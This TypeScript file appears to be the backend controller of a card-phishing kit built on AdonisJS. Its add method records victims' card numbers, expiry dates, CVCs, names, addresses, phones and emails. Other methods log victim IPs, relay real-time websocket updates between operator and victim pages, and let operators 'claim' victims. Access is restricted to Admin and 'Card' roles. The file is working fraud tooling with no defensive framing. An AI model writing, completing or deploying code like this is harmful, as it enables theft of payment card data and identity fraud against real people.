PhishesController.ts 3.0 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091
  1. import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  2. import PaginationService from 'App/Services/PaginationService'
  3. import Phish, { PhishStep } from 'App/Models/Phish'
  4. import Ws from 'App/Services/Ws'
  5. import { UserRoles } from 'App/Models/User'
  6. export default class PhishesController {
  7. private paginationService = new PaginationService(Phish)
  8. public async index({ request, auth }: HttpContextContract) {
  9. const userRole = auth.user!.role
  10. if (userRole !== UserRoles.Admin && userRole !== UserRoles.Card) {
  11. return {
  12. error: 'You are not authorized to access this resource',
  13. status: 403
  14. }
  15. }
  16. return await this.paginationService.paginate(request.all())
  17. }
  18. public async store({ request }: HttpContextContract) {
  19. const ip = request.ip()
  20. const id = request.all().id
  21. let phish: Phish | null = null
  22. if (id) {
  23. phish = await Phish.find(id)
  24. }
  25. if (!phish) {
  26. phish = new Phish()
  27. }
  28. phish.ip = ip
  29. phish.online = false
  30. await phish.save()
  31. Ws.hookIO.emit('new', phish)
  32. return phish
  33. }
  34. public async add({ request }: HttpContextContract) {
  35. const ip = request.ip()
  36. const data = request.all()
  37. const phish = new Phish()
  38. phish.ip = ip
  39. phish.online = true
  40. phish.step = PhishStep.SUCCESS
  41. if (data.card) phish.card = data.card
  42. if (data.expiry) phish.expiry = data.expiry
  43. if (data.cvc) phish.cvc = data.cvc
  44. if (data.firstName) phish.firstName = data.firstName
  45. if (data.lastName) phish.lastName = data.lastName
  46. if (data.country) phish.country = data.country
  47. if (data.state) phish.state = data.state
  48. if (data.city) phish.city = data.city
  49. if (data.address) phish.address = data.address
  50. if (data.zip) phish.zip = data.zip
  51. if (data.phone) phish.phone = data.phone
  52. if (data.email) phish.email = data.email
  53. await phish.save()
  54. return phish
  55. }
  56. public async show({ params }: HttpContextContract) {
  57. return await Phish.findOrFail(params.id)
  58. }
  59. public async clientUpdate({ params, request }: HttpContextContract) {
  60. const phish = await Phish.findOrFail(params.id)
  61. phish.merge(request.all())
  62. await phish.save()
  63. Ws.hookIO.emit('update', phish)
  64. return phish
  65. }
  66. public async adminUpdate({ params, request }: HttpContextContract) {
  67. const phish = await Phish.findOrFail(params.id)
  68. phish.merge(request.all())
  69. await phish.save()
  70. Ws.phishIO.to(phish.socketId).emit('update', phish)
  71. return phish
  72. }
  73. public async claim({ params, auth }: HttpContextContract) {
  74. const phish = await Phish.findOrFail(params.id)
  75. if (phish.userId && phish.userId !== auth.user!.id) {
  76. throw new Error('已被他人领取')
  77. }
  78. phish.userId = auth.user!.id
  79. await phish.save()
  80. return phish
  81. }
  82. }